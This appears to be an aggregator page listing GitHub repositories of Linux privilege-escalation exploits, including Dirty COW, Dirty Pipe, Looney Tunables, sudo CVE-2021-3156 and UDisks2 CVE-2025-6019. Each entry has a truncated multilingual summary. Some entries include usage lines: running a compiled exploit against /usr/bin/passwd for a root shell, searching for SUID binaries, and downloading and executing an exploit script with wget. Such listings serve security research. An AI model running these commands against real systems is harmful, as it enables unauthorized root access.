CVE-2025-6019

CVE-2025-6019 PoC 针对 UDisks2 XFS 调整大小权限提升的简单概念验证。 文件 createpayload.sh：构建包含 SUID rootbash 载荷的 XFS 镜像。 exploit.sh：触发调整大小路径并启动 SUID shell。 要求 mkfs.xfs、udisksctl、gdbus、loginctl 一个 allowactive Polkit 会话（例如，物理控制台登录，或通过另一个漏洞（如 CVE-2025-6018）获得的会话） 由 createpayload.sh 生成的精心构造的 XFS 文件系统镜像 用法 1. 创建载荷镜像：...

NimbusPWN-CVE-2022-29799-29800

NimbusPwn — networkd-dispatcher !NOTE 他のディストリビューション: dnf install gcc dbus-devel pkgconf（Fedora/RHEL）またはpacman -S gcc dbus pkgconf（Arch）。コンパイル行は同じです。 ⚙️ 使い方 脆弱なホスト上で非特権ユーザーとして実行します。 root@kitploit: ./nimbuspwn -c -s SHELL -c, --check non-breaking vuln check, no exploitation -s, --shell SHELL shell t...

CHARON

root@kitploit: / || | | | / \ | \ / | \ | | | | | || | / \ | | | | | | | | | | | |/ | "落入永生神的手中是一件可怕的事。" — 希伯来书 10:31 这是什么 一个紧凑、无依赖的 CVE-2026-46333 概念验证：Qualys 于 2026-05-15 披露的 ptracemayaccess mm==NULL 绕过。Charon 将 pidfdgetfd2 与一个正在退出的 SUID-root 进程进行竞态， 以在其 doexit 中短暂的 mm-NULL 窗口期间提取其打开的...

CVE-2025-6019-udisks2-XFS-Resize-TOCTOU-Privilege-Escalation

CVE-2025-6019: Escalada de Privilegios TOCTOU en udisks2 por Redimensionamiento de XFS Este repositorio contiene una Prueba de Concepto PoC para CVE-2025-6019, una vulnerabilidad de Condición de Carrera en udisks2 que permite la escalada local de privilegios mediante el redimensionamiento del...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables これは（現時点では非常に粗い）CVE-2023-4911 の概念実証です。今のところ、Ubuntu 22.10 kinetic でのみ動作確認しています。現在のエクスプロイトのバージョンには、かなりの量の「マジック」オフセットが含まれています。ヒープシェイピングを改善する方法について提案があれば、遠慮なく PR を送ってください : このエクスプロイトは基本的に Qualys の優れた記事 の実装です。一部の箇所で逸脱しています。それは私がもっと知っていると思っているからではなく、単に私の VM...

CVE-2016-5195

CVE-2016-5195 我对 CVE-2016-5195（dirty COW）的个人 POC 与 EXPLOIT 使用方法 POC：任意写入文件 这只是该 CVE 的一个简单 POC，按如下方式编译文件 poc.c： root@kitploit: $ gcc poc.c -o poc -static -lpthread 你应该按如下方式运行它： root@kitploit: ./poc destinationfile fakefile 你应该确保目标文件至少是可读的。目标文件的内容将被伪造文件的内容覆盖，如果失败，只需多试几次直到成功为止。 仅会写入原文件长度范围内的内容...

Dirty-Pipe

CVE-2022-0847Dirty Pipe 利用 影响范围 =5.8, 5.16.11, 5.15.25 and 5.10.102 exp.c 利用该漏洞，覆盖只读文件 exp-root-shell.c 生成执行/bin/sh的shellcode来覆盖有suid且所有者为root的程序，以passwd为例，再运行被覆盖的程序就可以拿到shell，实现提权。 （虽然文件的第一个字节不可修改，但只要覆盖的文件与生成的shellcode同为ELF格式，第一个字节就一定是0x7f，不必担心此问题。）...

CVE-2021-3156

CVE-2021-3156 toc Resumen de la vulnerabilidad ID de vulnerabilidad: CVE-2021-3156 Puntuación de vulnerabilidad: Producto vulnerable: linux sudo Versiones afectadas: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Condiciones de explotación: local en linux; sudo con SUID y ejecutable Efecto de explotación:...

CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）中的一个漏洞允许无权限用户在宿主机上遍历目录并直接执行 Docker 中的程序。如果 Docker 中存在 suid 程序，用户可在宿主机上以 suid 身份执行它。 PoC 在容器终端中下载 docker.sh 文件，然后以 root 用户身份执行： root@kitploit: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x docker.sh ./docker.sh 现在在宿主机中下载...

CVE-2022-21392

CVE-2022-21392：通过Oracle Enterprise Manager中的NMR SUID实现本地权限提升 在Oracle安装中，当“nmr”二进制文件存在且以“root”身份设置了SUID时，由于不安全的目录权限，“oracle”用户可以通过替换“nmrmacrolist”文件将其权限提升至“root”用户。 厂商披露： 厂商对该漏洞的披露及修复说明可查阅此处。 要求： 该漏洞需要： 以“oracle”用户身份访问本地系统（例如，通过受损的Oracle数据库执行任意Java代码） 概念验证： 更多详情及利用过程可参见此PDF。...

CVE-2025-6018-6019-PoC

CVE-2025-6018 和 CVE-2025-6019：本地权限提升 PoC 一个强大的概念验证（PoC），用于串联 CVE-2025-6018 （PAM/Polkit Active 会话绕过）和 CVE-2025-6019 （libblockdev SUID 挂载漏洞），在易受攻击的 Linux 系统上获取 root 访问权限 。 免责声明 本工具仅用于教育目的和经过授权的安全研究 。请勿在您不拥有或未经明确许可测试的系统上使用。 漏洞链 此漏洞利用串联两个逻辑缺陷，将权限从普通用户提升到 root： 1. CVE-2025-6018（入口）： PAM/Polkit...

Dirty-Pipe

Dirty Pipe Exploit CVE-2022-0847 概述 该仓库包含针对 Dirty Pipe 漏洞 CVE-2022-0847 的 概念验证 PoC 利用程序，该漏洞影响 Linux 内核版本 5.8 至 5.16 。此漏洞通过利用内核中管道缓冲区处理不当，允许本地权限提升 ，使攻击者能够修改只读文件（例如 SUID 二进制文件）并以提升的权限执行任意代码。 描述 Dirty Pipe 漏洞是 Linux 内核版本 5.8 到 5.16 中发现的一个关键问题。它通过利用内核中管道缓冲区处理不当，允许本地权限提升。该漏洞可通过向只读文件（如 SUID...

DirtyClone

DirtyClone DirtyClone 是一个用 C 编写的诊断性、概念验证本地权限提升工具。它针对源代码中描述为 CVE-2026-43503 的内核/XFRM 相关漏洞利用路径，仅适用于受控环境中的授权安全研究。 概述 本仓库包含： dirtyclone.c – 完整的漏洞利用实现 README.md – 使用和环境指南 当前实现执行以下高级步骤： 创建隔离的用户和网络命名空间， 配置回环网络和 XFRM/IPsec 状态/策略， 使用 AES-CBC 加密构建 ESP 载荷， 尝试通过基于 TEE 的 UDP 路径和原始 IP 回退进行投递， 等待目标 SUID...

DirtyPIPE-CVE-2022-0847

CVE-2022-0847 POC 来源：https://www.exploit-db.com/exploits/50808 1. 编译 在linux中 gcc -o dirty dirty.c编译POC程序 2. 使用 ./dirty SUID执行程序。其中，SUID是指具有SUID的程序的路径 一般可以用 /usr/bin/passwd，也就是执行./dirty /usr/bin/passwd 可以获取root的shell 3. 可以使用find / -perm /4000查询具有SUID的程序。 4. 别忘了删除 /tmp/sh...

firejail

Firejail Firejail 是一款轻量级安全工具，旨在通过设置受限环境来运行（可能不受信任的）应用程序，从而保护 Linux 系统。 具体来说，它是一个 SUID 沙箱程序，通过使用 Linux 命名空间（namespaces）、seccomp-bpf 和 Linux capabilities 来降低发生安全破坏的风险。它允许一个进程及其所有子进程拥有对全局共享内核资源（如网络栈、进程表和挂载表）的私有视图。Firejail 可以在 SELinux 或 AppArmor 环境中运行，并且已与 Linux 控制组（Control Groups）集成。 该软件使用 C...

root-dirtyc0w

root-dirtyc0w CVE-2016-5195 DirtyCow 根权限提升 Dirty COW 是 Linux 内核中的一个竞态条件漏洞。该漏洞存在于处理内存映射写时复制（COW）特性的内核函数中，被利用时可允许进程写入只读文件。 该漏洞的一个示例用例是，将任何 SUID（设置用户 ID）二进制文件（如 passwd 可执行文件）覆盖为一个不同的 ELF 可执行文件（我们创建的），该文件执行 /bin/sh 从而获取 root 权限（如本仓库所示）。 你可以在 Linux 中找到更多设置了 SUID...

CVE-2022-37704

Descripción sugerida Amanda 3.5.1 tiene una falla que permite la escalada de privilegios desde el usuario normal backup hasta root. El binario SUID ubicado en /lib/amanda/rundump ejecutará /usr/sbin/dump como root con argumentos controlados por el atacante, lo que puede conducir a la escalada de...

CVE-2025-6019-exploit

CVE-2025-6019: UDisks2 ファイルシステムリサイズを介した権限昇格エクスプロイト 脆弱性の詳細 CVE ID : CVE-2025-6019 影響 : ローカル権限昇格 LPE 影響を受けるシステム : 脆弱な udisks2 バージョンが動作するLinuxシステム メカニズム : ファイルシステムリサイズ中のレースコンディションにより、誰でも書き込み可能な一時ディレクトリ内のSUIDバイナリへのアクセスが可能になる 主要コンポーネント : udisks2 サービス DBus インターフェース...

Privilege-Escalation

⬆️ Escalada de Privilegios para Pentesters Una guía práctica de referencia y chuleta de Escalada de Privilegios diseñada para jugadores de CTF, testers de penetración y estudiantes de ciberseguridad para comprender cómo los atacantes escalan privilegios en sistemas comprometidos 🌐 Conéctate con...

CVE-2024-1065

CVE-2024-1065 — ページキャッシュエクスプロイト PoC CVE-2024-1065 の概念実証エクスプロイトです。これは、ARM Mali GPU カーネルドライバにおける物理ページの use-after-free 脆弱性です。このエクスプロイトは ページキャッシュエクスプロイト を示しています。解放された MIGRATEMOVABLE ページを SUID バイナリのメモリ内コードイメージに競合させ、それを上書きすることで、ディスク上のファイルを変更せずにルート権限で任意のコード実行を達成します。 研究目的のみ。 この PoC は、制御された x86...